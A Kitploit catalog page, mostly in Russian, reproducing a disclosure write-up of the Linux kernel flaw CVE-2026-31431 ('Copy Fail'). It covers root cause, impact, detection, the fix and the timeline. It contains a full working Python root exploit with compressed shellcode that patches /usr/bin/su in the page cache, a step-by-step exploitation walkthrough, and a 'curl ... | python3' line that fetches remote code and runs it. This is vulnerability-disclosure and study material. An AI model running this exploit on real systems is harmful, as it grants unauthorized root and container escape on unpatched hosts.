Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31431 — Структурированное объяснение CVE-2026-31431 (Copy Fail), связывающее три изменения ядра, которые ввели уязвимость и позволили ее эксплуатировать. | Kitploit
Инструменты/GitHubGitHub/themalwareguardian/cve-2026-31431
Повышение привилегийАнализ уязвимостейЭксплуатацияСтатьи и ИсследованияОбучение и ОбразованиеПобег из КонтейнераЭксплуатация Бинарных Файлов
GitHubthemalwareguardian/cve-2026-31431

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31431

Структурированное объяснение CVE-2026-31431 (Copy Fail), связывающее три изменения ядра, которые ввели уязвимость и позволили ее эксплуатировать.

Репозиторий
254 месяцев назадЕщё не проверено

🐞 CVE-2026-31431 - Ошибка копирования



Логическая ошибка в authencesn, передаваемая через AF_ALG и splice(), приводящая к контролируемой записи 4 байтов в кэш страниц любого читаемого файла в системе. Нет состояния гонки, нет смещений, нет скомпилированного полезного груза. Тот же самый скрипт размером 732 байта получает root на каждом дистрибутиве Linux, начиная с 2017 года.




📑 Содержание

  • Обзор
  • Анализ первопричины
    📂
    • Примитив AF_ALG + splice()
    • Оптимизация на месте 2017 года
    • Выход за границы в authencesn
    • Три безобидных изменения → одна критическая ошибка
    • Обход scatterlist до страниц кэша страниц

  • Влияние
  • Затронутые дистрибутивы
  • Проверка — Затронут ли я?

  • Эксплойт
  • Пошаговое руководство по эксплойту
    📂
    • Шаг 1 — Настройка сокетов
    • Шаг 2 — Формирование записи
    • Шаг 3 — Запуск записи в кэш страниц
    • Шаг 4 — Выполнение

  • Сравнение с Dirty Cow / Dirty Pipe

  • Исправление
  • Раскрытие
  • Ссылки



🔍 Обзор

CVE-2026-31431 - Ошибка копирования — это логическая ошибка в криптографическом шаблоне authencesn ядра Linux. Она позволяет непривилегированному локальному пользователю выполнить контролируемую запись 4 байтов в кэш страниц любого читаемого файла в системе, не изменяя файл на диске.

Ошибка не существует ни в одном из трех компонентов по отдельности. Она возникает из их взаимодействия:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.

2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.

2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.

2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.

root@kitploit:~
---
---
---



<div id='root-cause'/>

## ***🧬 Анализ первопричин***

<div id='primitive'/>

### ***Примитив AF_ALG + splice()***

AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) — это тип сокета, который предоставляет криптографический API ядра непривилегированному пользовательскому пространству. Непривилегированный процесс может:

1. Открыть сокет AF_ALG / SOCK_SEQPACKET.
2. Выполнить bind() к любому доступному шаблону AEAD, предоставляемому криптографическим API ядра.
3. Установить криптографический ключ через setsockopt(SOL_ALG, ALG_SET_KEY, ...) на настроенном алгоритме.
4. Вызвать accept() для получения выделенного сокета операций, который будет обрабатывать запросы на шифрование и дешифрование.
5. Отправлять подготовленные данные с помощью sendmsg() и получать обработанный результат через recvmsg(), полностью взаимодействуя с криптографической подсистемой ядра.

Он включён по умолчанию в конфигурации ядра всех основных дистрибутивов (CONFIG_CRYPTO_USER_API_AEAD=y).

**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** передаёт данные между файловыми дескрипторами без копирования — он передаёт ссылки на страницы, а не копии. Соответствующий поток:```
open("/usr/bin/su")   ->  fd_file
pipe()                ->  pipe_rd, pipe_wr

# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)

# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
Скачать инструмент

TX-список разброса (scatterlist) сокета AF_ALG содержит прямые ссылки на те же физические страницы, которые используются ядром для каждого read(), mmap() и execve() файла. Копирование не выполняется.


Оптимизация in-place 2017 года

Коммит 72548b093ee3, algif_aead.c. Для расшифровки реализация:

  1. Копирует AAD и шифротекст из TX SGL (источник) в RX буфер (назначение) — реальное копирование.
  2. Сцепляет страницы тега аутентификации через sg_chain(), сохраняя ссылки на page cache в RX SGL.
  3. Устанавливает req->src = req->dst, оба указывают на объединённый RX SGL.``` TX SGL (input from splice): [ page cache page: AAD || CT || Tag ]

In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL

Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.

root@kitploit:~
<div id='authencesn'/>

### ***Выход за границы записи в authencesn***

authencesn — это обёртка ядра AEAD, используемая IPsec с расширенными порядковыми номерами (RFC 4303). IPsec использует 64-битные порядковые номера:

- seqno_hi — старшие 32 бита (байты 0-3 AAD)
- seqno_lo — младшие 32 бита (байты 4-7 AAD)

Только seqno_lo передаётся по сети; seqno_hi является неявным контекстом. Для вычисления HMAC authencesn необходимо переставить эти байты: seqno_hi в начале и seqno_lo в конце хэш-входа.

Оно выполняет эту перестановку, используя целевой scatterlist вызывающего объекта в качестве рабочего пространства:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */

// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

Вызов [3] записывает 4 байта в dst[assoclen + cryptlen]. Контракт вывода API AEAD для расшифровки — это AAD || открытый текст — ровно assoclen + (cryptlen - authsize) байт. assoclen + cryptlen находится за пределами тега аутентификации. authencesn записывает в память, которой не владеет.

crypto_authenc_esn_decrypt_tail() считывает seqno_lo обратно для восстановления правильного AAD, но никогда не восстанавливает исходные байты в dst[assoclen + cryptlen]. Перезапись является постоянной, независимо от того, успешна проверка HMAC или нет.

Ни один другой стандартный алгоритм AEAD в ядре не ведет себя подобным образом. GCM, CCM и стандартный authenc строго ограничивают свои записи легитимной областью вывода.


Три безобидных изменения → одна критическая ошибка

В пути in-place после 2017 года в algif_aead список разброса (scatterlist), передаваемый как req->dst в authencesn, имеет следующую структуру:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)

root@kitploit:~
scatterwalk_map_and_copy не имеет понятия о владении страницами, он просто отображает любую страницу, на которую указывает scatterlist, через kmap_local_page и записывает в неё. При наличии страниц кэша страниц в req->dst он отображает кэшированную страницу "/usr/bin/su" и записывает seqno_lo напрямую в копию файла в памяти ядра.

HMAC вычисляется по переупорядоченным байтам и терпит неудачу (шифротекст контролируется атакующим). recvmsg() возвращает ошибку. Запись 4 байт в кэш страниц сохраняется.

---

<div id='scatterlist'/>

### ***Проход по scatterlist в страницы кэша страниц***```c
struct scatterlist {
	unsigned long   page_link;   // physical page + flags (SG_END, SG_CHAIN)
	unsigned int    offset;      // offset within the page
	unsigned int    length;      // bytes in this entry
};

// sg_chain(sgl_a, nents_a, sgl_b):
//   sgl_a[nents_a-1].page_link |= SG_CHAIN;
//   sgl_a[nents_a-1].page_link  = (unsigned long)sgl_b;
//   the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:

entry[0]: page=user_buf_page, offset=0,        length=assoclen      (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4    (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
                        |
                        v
                    page = page_cache_page_of_/usr/bin/su
                    offset = <tag offset within the file>
                    length = authsize (= 4)

scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4)  <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)

Страница никогда не помечается как грязная (SetPageDirty / mark_page_accessed не вызываются на этом пути). Механизм обратной записи ядра не сбрасывает её на диск. Файл на диске остаётся неизменным.




💥 Воздействие

Примитив управляемой записи 4 байт в page cache превращается в полное локальное повышение привилегий (LPE):

  • Злоумышленник контролирует какой файл (любой читаемый файл, включая setuid-бинарники).
  • Злоумышленник контролирует смещение внутри файла (через assoclen, смещение splice и длину splice).
  • Злоумышленник контролирует какое значение (4 байта — это seqno_lo, создаваемые злоумышленником в sendmsg()).

Итеративно записывая по 4 байта, злоумышленник может внедрить shellcode в секцию .text setuid-бинарника в page cache. execve() загружает из page cache, поэтому изменённый бинарник выполняется с UID 0.

Page cache является общим для всего хоста, включая все контейнеры. Copy Fail — это не просто локальное LPE, это примитив для побега из контейнера и вектор компрометации узла Kubernetes.

СредаРискРезультат
Мультитенантные хосты LinuxКритическийЛюбой пользователь → root
Kubernetes / контейнерыКритическийPod → хост, кросс-тенантный
CI-раннеры (недоверенные PR)КритическийPR → root на раннере
Cloud SaaS, выполняющий пользовательский кодКритическийТенант → root на хосте
Однопользовательские серверыВысокийВнутреннее LPE; цепочка с веб-RCE
Однопользовательские рабочие станцииСреднийПост-эксплуатационное повышение привилегий

🎯 Затронутые дистрибутивы

Любая Linux-система, работающая на ядре, собранном между 2017 годом и исправлением, с включённым AF_ALG в конфигурации по умолчанию, что фактически включает все основные дистрибутивы.

Непосредственно проверено Theori / Xint:

ДистрибутивЯдро
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Другие дистрибутивы, использующие затронутые ядра (Debian, Arch, Fedora, Rocky, Alma, Oracle, встроенные системы), ведут себя идентично: ошибка находится в общей подсистеме криптографии, а не в патчах, специфичных для дистрибутивов.

Требования для эксплуатации:

  • Непривилегированная локальная учётная запись.
  • Доступен AF_ALG (включён по умолчанию во всех основных дистрибутивах).
  • Доступен splice(2) (общедоступен).
  • Python 3.10+ для os.splice или доступ к низкоуровневым системным вызовам из любого языка.
  • Не требуются функции отладки ядра, специальные возможности или предварительные примитивы.

🔎 Проверка — Затронуты ли я?

1. Проверьте версию ядра```bash

uname -r

root@kitploit:~
Если ядро было собрано в период с 2017 года до патча (коммит a664bf3d603d), система потенциально уязвима. Проверьте, присутствует ли патч:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image

# RHEL / Fedora / Amazon Linux
rpm -q kernel

# SUSE
zypper se -s kernel-default

2. Проверьте доступность AF_ALG```bash

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "

root@kitploit:~
### ***3. Проверьте, загружен ли algif_aead***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"

4. Скрипт проверки поверхности атаки

Следующий скрипт проверяет, доступен ли уязвимый путь. Он не выполняет никаких записей, а только проверяет доступность поверхности атаки:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys

def check_surface(): results = {}

root@kitploit:~
# 1. Check if AF_ALG socket is available
try:
	# AF_ALG, SOCK_SEQPACKET
	s = socket.socket(38, 5, 0)
	results['af_alg_socket'] = True
	# 2. Try binding to authencesn (the vulnerable algorithm)
	try:
		s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
		results['authencesn_available'] = True
	except OSError as e:
		results['authencesn_available'] = False
		results['authencesn_error'] = str(e)
	s.close()
except OSError as e:
	results['af_alg_socket'] = False
	results['af_alg_error'] = str(e)

# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')

print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
	marker = '[+]' if v is True else '[-]' if v is False else '[i]'
	print(f"  {marker} {k}: {v}")

if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
	print("\n  [!] SURFACE AVAILABLE - system exposes the full attack surface.")
	print("      Verify whether the kernel includes patch a664bf3d603d.")
else:
	print("\n  [OK] Surface mitigated or not available.")

if name == "main": check_surface()

root@kitploit:~
---

<div id='exploit'/>

## ***💣 Эксплойт***

Этот эксплойт был первоначально выпущен Theori / Xint Code вместе с публичным раскрытием 29 апреля 2026 года.

- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **Официальный репозиторий:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Требования:** Python 3.10+, затронутое ядро, AF_ALG включён.```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.

import os as g, zlib, socket as s

def d(x):
	return bytes.fromhex(x)

def c(f, t, c):
	# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
	a = s.socket(38, 5, 0)                             # AF_ALG, SOCK_SEQPACKET
	a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
	h = 279                                            # SOL_ALG
	v = a.setsockopt
	v(h, 1, d('0800010000000010' + '0' * 64))          # ALG_SET_KEY
	v(h, 5, None, 4)                                   # ALG_SET_AUTHSIZE = 4
	u, _ = a.accept()
	o = t + 4
	i = d('00')

	# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
	# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
	u.sendmsg(
		[b"A" * 4 + c],                      # AAD: seqno_hi=0x41414141, seqno_lo=payload
		[
			(h, 3, i * 4),                   # ALG_SET_IV
			(h, 2, b'\x10' + i * 19),        # ALG_SET_OP=DECRYPT + params
			(h, 4, b'\x08' + i * 3),         # ALG_SET_AEAD_AUTHSIZE
		],
		32768                                # MSG_SENDPAGE_NOTLAST
	)

	# splice: delivers page cache pages from the target file into the AF_ALG socket
	# The TX SGL of the socket will point directly to page cache pages
	r, w = g.pipe()
	n = g.splice
	n(f, w, o, offset_src=0)   # file -> pipe (reference to page cache page)
	n(r, u.fileno(), o)        # pipe -> AF_ALG socket (TX SGL points to page cache)

	# recv: triggers decrypt in the kernel
	# authencesn performs the scratch write -> 4 bytes written into the page cache
	# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
	try:
		u.recv(8 + t)
	except:
		0

# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)

# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
	"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
	"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
	"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
	c(f, i, e[i:i+4])
	i += 4

# Execute the patched binary in memory - runs as UID 0
g.system("su")

Выполнение```bash

Direct download and execution (Theori method)

curl https://copy.fail/exp | python3

Local execution

python3 copy_fail_exp.py

With an alternative target binary (any readable setuid-root binary)

python3 copy_fail_exp.py /usr/bin/passwd

Verify result

id

uid=0(root) gid=1002(user) groups=1002(user)

root@kitploit:~
---
---
---

<div id='walkthrough'/>

## ***🔬 Эксплуатация уязвимости***

<div id='step1'/>

### ***Шаг 1 - Настройка сокета***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

Выбран шаблон authencesn - единственный алгоритм AEAD в ядре, который записывает за пределы своей законной выходной области. Этот выбор является преднамеренным: GCM, CCM и стандартный authenc не вызывают ошибку.```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket

root@kitploit:~
ALG_SET_AUTHSIZE = 4 устанавливает размер тега аутентификации. Это значение напрямую управляет тем, куда попадает dst[assoclen + cryptlen] относительно области тега в scatterlist, и, следовательно, какое смещение внутри страницы кэша страниц будет перезаписано.

<div id='step2'/>

### ***Шаг 2 - Создание записи***

Для каждого 4-байтового блока полезной нагрузки:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes

u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)

Байты 4-7 AAD (seqno_lo) - это именно те 4 байта, которые authencesn записывает в dst[assoclen + cryptlen]. Злоумышленник формирует их с желаемым значением полезной нагрузки.

Смещение файла управляется через параметры splice:```python

t = target offset within the file

o = t + 4 = splice length (ensures the tag region lands at the correct offset)

o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)

root@kitploit:~
<div id='step3'/>

### ***Шаг 3 — Запуск записи в кеш страниц***```python
try:
	u.recv(8 + t)
except:
	pass   # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.

The recv() call triggers the decrypt operation inside the kernel. The recvmsg() error is expected and irrelevant. The page cache write has already occurred.

Шаг 4 - Выполнение

После перебора всех фрагментов полезной нагрузки:``` os.system("su")

root@kitploit:~
execve("/usr/bin/su"):

1. Ядро загружает бинарный файл из кеша страниц.
2. Кешированная страница содержит внедренный шелл-код (файл на диске не изменяется).
3. /usr/bin/su является setuid-root: процесс запускается с эффективным UID 0.
4. Шелл-код порождает root-оболочку.```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)



⚖️ Сравнение с Dirty Cow / Dirty Pipe

Все три относятся к одному классу атак: запись в page cache из непривилегированного пользовательского пространства, без изменения файла на диске, для получения привилегий через setuid-бинарник. Их механизмы и ограничения существенно различаются.

  • CVE-2016-5195 - Dirty Cow

    Состояние гонки в пути copy-on-write (COW) подсистемы виртуальной памяти. Требовалось выиграть окно TOCTOU, множество попыток, переменная надежность, occasional crashes. Ядра 2.6.22 - 4.8.3.

  • CVE-2022-0847 - Dirty Pipe

    Злоупотребление флагом PIPE_BUF_FLAG_CAN_MERGE в буферах каналов для слияния контролируемых злоумышленником данных в page cache. Детерминированно, но зависит от версии (ядро ≥ 5.8 с определенными патчами).

  • CVE-2026-31431 - Copy Fail

    Непосредственная логическая ошибка. Нет состояния гонки, нет смещений для каждого дистрибутива, нет скомпилированного эксплойта. Python-скрипт размером 732 байта, использующий только стандартную библиотеку, получает root во всех основных дистрибутивах с 2017 по 2026 годы.

  • Dirty CowDirty PipeCopy Fail
    МеханизмСостояние гонки (COW)Злоупотребление флагом каналаЛогика AEAD + scatterlist
    Требует гонкиДаНетНет
    Надежность30-80%Высокая100%, однократно
    Диапазон ядер2.6.22-4.8.3≥5.8 (определенные)2017-2026 (~9 лет)
    Смещения по дистрибутивамДаНекоторыеНет
    Скомпилированный эксплойтДаНетНет
    Побег из контейнераНетНетДа



    🩹 Исправление

    Основной коммит a664bf3d603d исправляет 72548b093ee3 (оптимизация на месте 2017 года)

    Патч возвращает algif_aead.c к работе не на месте. req->src и req->dst снова становятся отдельными scatterlist. Страницы page cache, доставленные через splice(), остаются в read-only TX SGL (req->src). RX-буфер - единственная память, в которую разрешено писать криптоалгоритму - это буфер recvmsg пользователя (req->dst). Механизм sg_chain(), который ранее связывал tag-страницы (page cache) с доступными для записи целевыми, удалён.```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);

    /* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);

    root@kitploit:~
    The commit message states: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings."
    
    
    
    ---
    ---
    ---
    
    
    
    <div id='timeline'/>
    
    ## ***📅 График раскрытия***
    
    | Дата       | Событие                                                    |
    |------------|------------------------------------------------------------|
    | 2026-03-23 | Уязвимость сообщена команде безопасности ядра Linux        |
    | 2026-03-24 | Получено первоначальное подтверждение                      |
    | 2026-03-25 | Патчи предложены и рассмотрены                            |
    | 2026-04-01 | Патч зафиксирован в основной ветке (a664bf3d603d)          |
    | 2026-04-22 | Назначен CVE-2026-31431                                    |
    | 2026-04-29 | Публичное раскрытие, [copy.fail](https://copy.fail/)       |
    
    **Обнаружено:** Taeyang Lee из [Theori](https://theori.io/) / [Xint Code](https://xint.io/)
    
    
    
    ---
    ---
    ---
    
    
    
    <div id='references'/>
    
    ## ***📚 Ссылки***
    
    - **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
    	> Запись в Национальной базе данных уязвимостей (NVD).
    
    - **[Copy Fail - Официальное раскрытие](https://copy.fail/)**
    	> Страница с часто задаваемыми вопросами, затронутыми дистрибутивами, смягчением и PoC.
    
    - **[Блог Theori / Xint - Полное описание](https://xint.io/blog/copy-fail-linux-distributions)**
    	> Корневая причина, диаграммы scatterlist, историческая цепочка (2011→2015→2017) и описание эксплуатации.
    
    - **[GitHub Theori - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
    	> Официальный репозиторий, содержащий PoC.
    
    - **[Коммит a664bf3d603d - исправление](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
    	> Отменяет оптимизацию на месте в algif_aead.
    
    - **[Коммит 72548b093ee3 - корневая причина (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
    	> Вводит оптимизацию на месте, которая поместила страницы кэша страниц в доступный для записи приемник.
    
    - **[Коммит a5079d084f8b - введение authencesn (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
    	> Исходный коммит, добавляющий authencesn, устанавливающий шаблон временной записи.
    
    - **[Коммит 104880a6b470 - миграция authencesn в API AEAD (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
    	> Вводит смещение assoclen + cryptlen, которое записывает за пределами легитимной области.
    
    - **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
    	> Предшествующие работы в классе повреждения кэша страниц / локального повышения привилегий (LPE).